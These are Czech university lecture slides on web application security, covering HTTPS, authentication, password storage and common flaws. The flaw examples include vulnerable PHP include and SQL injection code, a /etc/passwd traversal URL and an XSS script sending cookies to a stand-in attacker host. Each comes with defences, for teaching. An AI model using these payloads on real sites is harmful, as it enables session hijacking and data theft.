Bezpečnost webových aplikací

4IZ278 – Webové aplikace

Jirka Kosek

Poslední modifikace: $Date: 2017/04/06 20:11:47 $

Úvod

Co nás čeká

  • šifrování přenášených dat

  • autentizace a autorizace uživatelů a aplikací

  • bezpečnostní slabiny webových aplikací a způsoby ochrany

Šifrování přenášených dat

Proč šifrovat

  • některá data jsou skutečně citlivá

    • on-line bankovnictví

    • komunikace mezi obchodními partnery

    • vzdálený přístup do podnikového IS

  • kvůli ochraně soukromí a některým typům bezpečnostních útoků je dnes trend šifrovat veškerou komunikaci

  • šifrování zároveň znemožňuje modifikaci obsahu stránky během jejího přenosu

Jak se dnes šifruje

  • hybridní systémy – kombinace asymetrických a symetrických šifer

  • pro zabezpečení přenosu se používá SSL (Secure Sockets Layer) nebo novější TLS (Trasport Layer Security) – protokoly umožňující zašifrovat cokoliv na bázi protokolu TCP

  • prohlížeč si o zabezpečené připojení řekne pomocí speciálního URL ve tvaru

    https://...
  • server se s klientem dohodne na kvalitě šifrování (možnost snížení kvality šifrování počítačem mezi klientem a serverem)

HTTPS od prvního požadavku

  • u webů vyžadujících zabezpečení nesmí být web přístupný přes HTTP (bez šifrování)

  • automatické přesměrování na šifrovanou verzi

  • novější prohlížeče podporují HSTS (HTTP Strict Transport Security)

    • server prohlížeči pomocí hlavičky HTTP sdělí, že je povolený přístup pouze přes HTTPS

    • veškeré odkazy vedoucí na http:// se automaticky změní na https://

    • při chybném certifikátu není web přístupný

    • prohlížeče mají zabudovanou databázi domén, pro které se má použít HSTS (odpadá nutnost prvního, potenciálně nebezpečného požadavku)

Certifikáty a CA

  • server posílá klientovi certifikát

  • certifikát – spojuje dohromady počítač s reálně existující osobou (fyzickou či právnickou)

  • certifikát slouží pro ověření totožnosti serveru

  • certifikát může mít i klient, ale na webu se to zatím moc nepoužívá

  • certifikát vydává certifikační autorita (CA) – ta by měla ověřit skutečnou identitu žadatele o certifikát

  • prohlížeč automaticky věří certifikátům od CA, které zná (umí ověřit podpis na certifikátu)

  • ostatní certifikáty je potřeba ručně doinstalovat nebo doinstalovat CA, která je vystavila

Získání certifikátu

Autentizace a autorizace uživatelů

Základní pojmy

autentizace

ověření totožnosti

autorizace

ověření práv pro vykonání určité činnosti

HTTP autentizace

  • standardní součást protokolu HTTP

  • nelze změnit podobu přihlašovacího okna

  • obtížně se řeší odhlášení a automatické odhlášení po určité době

  • bývá implementována na úrovni webového serveru

  • hesla jsou přenášena v nekódované podobě

    • bezpečnější metoda Digest se začíná rozšiřovat až v poslední době

Vlastní autentizace

  • využívá HTML formuláře a session proměnné

  • mnohem větší flexibilita oproti HTTP – vlastní přihlašovací stránka, hesla uložená na libovolném místě

  • v session proměnné se uchovávají informace o přihlášeném uživateli a o době jeho posledního přístupu

  • odhlášení – stačí zrušit session proměnnou

  • automatické odhlášení – při každém požadavku se porovnává aktuální čas s časem posledního přístupu (ten je uložen v session proměnné)

  • pokud klient podporuje JavaScript, lze použít challenge-response mechanismus (heslo není přenášeno v odkrytém tvaru)

Klientské certifikáty

  • využívá mechanismus SSL/TLS, ale certifikátem se neprokazuje jen server, ale i uživatel

  • uživatelsky méně přívětivé – uživatel musí mít na počítači k dispozici svůj certifikát

  • využívá se v aplikacích, které potřebují vzbudit zdání větší bezpečnosti, např. internetové bankovnictví

OpenID

  • decentralizovaný mechanismus pro jednotné přihlašování k webovým aplikacím (single sign on)

  • uživatel používá jednotný OpenID identifikátor v mnoha aplikacích

  • autentizaci neprovádějí jednotlivé aplikace, ale poskytovatel identity

  • poskytovatel identity může aplikaci se souhlasem uživatele předat vybrané osobní údaje (např. email, adresa, …) – pohodlné pro uživatele

OAuth

  • mechanismus pro autorizaci aplikací, které mohou využívat prostředky na serveru (API) jménem uživatele

  • používá například Facebook, Twitter, Google

OpenID Connect

Ukládání hesel

  • aplikace by v žádném případě neměla ukládat hesla v odkryté podobě

  • ukládání otisku (hashe) hesla nestačí, kvůli předgenerovaným slovníkům otisků

  • doporučené je ukládat otisk hesla a „soli“

  • pro výpočet otisku je lepší používat pomalé hasovací funkce pro ztížení útoku hrubou silou

Nejčastější bezpečnostní slabiny aplikací

Nekontrolování vstupu od uživatele

  • veškerá data získaná od uživatele by měla být před použitím ověřena

  • musíme počítat s tím, že uživatel omylem udělá chybu nebo se někdo záměrně snaží nabourat do aplikace

  • data je potřeba vždy validovat na straně serveru, protože kód běžící na klientovi může uživatel/útočník měnit (např. AJAXové aplikace)

  • data pocházející od uživatele (může je měnit)

    • obsah formulářových polí

    • URL adresa požadavku

    • cookies

    • HTTP hlavičky

    • požadavky AJAX

Příklad 1. Získání libovolného souboru ze serveru

Předpokládejme, že máme skript, který generuje webové stránky. Obsah stránky získá ze zvoleného souboru a k němu doplní standardní hlavičku a patičku. Jednotlivé stránky se tak volají pomocí adresy http://example.org/index.php?page=uvodni.inc.

... standardní hlavička v HTML ...
<?php
  include $_GET["page"];
?>
... standardní patička ...

Co se stane, když zlý uživatel zadá URL ve tvaru http://example.org/index.php?page=/etc/passwd?

Příklad 2. Správné řešení s kontrolou dovolených vstupů
... standardní hlavička v HTML ...
<?php
  if (in_array($_GET["page"], array("uvod.inc", "cenik.inc", "kontakt.inc"))
  { 
    include $_GET["page"];
  }
  else
  {
    echo "Požadovaná stránka neexistuje. Pokračujte na 
          <a href='index.php?page=uvod.inc'>úvodní stránce</a>.";
  }
?>
... standardní patička ...

Způsob kontroly

  • whitelisting

    • explicitně vyjmenujeme co je dovoleno

    • výrazně snižuje možnost útoku

    • nelze použít vždy

  • blacklisting

    • kontrolujeme, co není dovoleno

    • vždy existuje možnost, že na něco zapomeneme

    • kontrolní kód je potřeba neustále udržovat s tím, jak se objevují nové typy útoků

Reakce na nepovolený vstup

  • musíme logovat pro další případnou analýzu, pokud by útok byl úspěný

  • uživateli vrátíme obecnou stránku oznamující chybu

  • chybová stránka by neměla obsahovat příliš detailů

  • do chybové stránky nevypisujeme data z požadavku – další potencionální díra

SQL injection

  • skripty často konstruují SQL dotaz dynamicky na základě vstupů

  • vstupy se musí pečlivě kontrolovat, aby chybný vstup neumožnil spuštění libovolného SQL příkazu

    • „whitelisting“ povolených znaků

    • prepared statements (prepare šablona + dosazení parametrů při execute)

    • escapovací funkce (mysql_real_escape_string(), PDO::quote())

Příklad 3. Chybný skript umožňující SQL injection

Formulář obsahuje vstupní pole jmeno pro zadání hledaného jména

<?php
...
$jmeno = $_GET["jmeno"];
$spojeni = ODBC_Connect("test", "user", "password");
$vysledek = ODBC_Exec($spojeni, 
            "SELECT * FROM Zamestnanci
             WHERE Jmeno LIKE '$jmeno%' 
             ORDER BY Jmeno");
...
?>
Příklad 4. Správné řešení s kontrolou vstupu

Před předáním dat dotazu se testuje, zda řetězec obsahuje jen povolené znaky

<?php
...
$jmeno = $_GET["jmeno"];
if (!ERegI("^[a-z]+$" , $jmeno))
{
  echo "Hledaný text může obsahovat jen písmena.";
  exit;
}
$spojeni = ODBC_Connect("test", "user", "password");
$vysledek = ODBC_Exec($spojeni, 
            "SELECT * FROM Zamestnanci
             WHERE Jmeno LIKE '$jmeno%' 
             ORDER BY Jmeno");
...
?>
Příklad 5. Správné řešení s prepared statements

Samo databázové API se postará o to, aby předaný parametr nemohl změnit syntaxi příkazu SQL

<?php
...
$jmeno = $_GET["jmeno"] . '%';
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
$stmt = $dbh->prepare("SELECT * FROM Zamestnanci
             WHERE Jmeno LIKE :jmeno
             ORDER BY Jmeno");
$stmt->bindParam(':jmeno', $jmeno);
$stmt->execute();
...
?>

XSS

Cross-Site Scripting

  • veškerý uživatelsky generovaný vstup musí být před vložením do stránky správně escapován (diskusní fóra, zobrazení údajů z formuláře, …)

  • v opačném případě může útočník do stránky vložit Javascript, který se spustí všem a může odesílat citlivé údaje jako session id

  • escapovací funkce v PHP: strip_tags(), htmlspecialchars()

  • nepoužívat chytrá řešení, často si neporadí se záludnými situacemi

    <src<script>ipt>…

Ochrana session

  • jediná 100% spolehlivá ochrana je SSL a vypnuté posílání HTTP hlavičky Referer

  • útok spočívá ve špatné kontrole vstupu a v cross-site skriptování

Příklad 6. Získání session-id přenášeného v URL
  1. na serveru, kde je uživatel přihlášen, je diskusní fórum

  2. útočník do diskusního fóra přidá příspěvek s odkazem vedoucím na jeho server (odkaz musí být zajímavý, aby zaujal)

  3. skript na útočníkově serveru z HTTP hlavičky Referer získá kompletní URL předchozí stránky včetně session-id

  4. pomocí získaného session-id se útočník může přihlásit na server pod jménem uživatele a číst jeho data, změnit heslo, …

  5. snížení rizika:

    • všechny odkazy ve vložených příspěvcích přesměrovávat přes pomocnou stránku, která již v URL nemá session-id

    • dodatečná kontrola session-id (kontrola shody IP adresy, session-id se mění pro každou stránku)

Příklad 7. Ochrana session-id přenášeného v cookie
  1. na serveru, kde je uživatel přihlášen je diskusní fórum

  2. útočník do diskusního fóra přidá příspěvek s kusem JS kódu, který čte cookie

    <script>document.write('<img src="http://utocnik.cz/steal?'+document.cookie+'">')</script>
  3. útočníkův skript získá obsah cookie a může ji zneužít

  4. ochrana:

    • jako v předchozím případě

    • důsledná kontrola vstupních dat, nedovolit zadání HTML a JS kódu do příspěvku

Content Security Policy

  • podstatou mnoha XSS útoků je načtení skriptu či jiných zdrojů z webu útočníka

  • pomocí HTTP hlavičky může aplikace zakázat prohlížeči některé operace, které jsou často zneužívány k XSS útokům

  • např. povolení pouze vlastních skriptů a skriptů načítaných z dané domény

    Content-Security-Policy: script-src 'self' https://apis.google.com
  • při použití CSP jsou automaticky blokovány inline skripty, atributy pro obsluhu událostí, element style, …

Same Origin Policy

  • pro zvýšení bezpečnosti prohlížeče v praxi uplatňují tzv. Same Origin Policy

  • např. AJAXový požadavek může skript odeslat jen na server se stejným „origin“

  • origin – protokol, doména, port

  • v případě potřeby lze omezení změnit pomocí hlaviček CORS

CSRF

Cross-Site Request Forgery

  • útočník vyvolá falešné HTTP požadavky a pokud je v tu chvíli uživatel přihlášen (např. přes session), operace se provede

  • stav měnící operace by neměly být dostupné pomocí metody GET

Další problémy

  • špatná konfigurace serveru a jeho operačního systému

  • špatná správa a ukládání hesel aplikace

  • nekontrolování přístupu k operacím a objektům zadaným přímo do URL po prvotní autentizaci a autorizaci

  • vystavení citlivých dat na „tajné URL adrese“

  • neaktualizovaní rozšířených komponent (redakční systémy, diskusní fóra, …)

Kdy a kde provádět kontrolu

  • nesmíme věřit nikomu, ani vlastní databázi (útok, zadání dat z jiné aplikace, …)

  • je proto potřeba ošetřovat veškeré vstupy

  • a escapovat veškeré výstupy

Pár slov závěrem

Pár slov závěrem

Nepodceňovat!!!!!!!!!!!

Zdroje informací

Povinná četba

Další zajímavé zdroje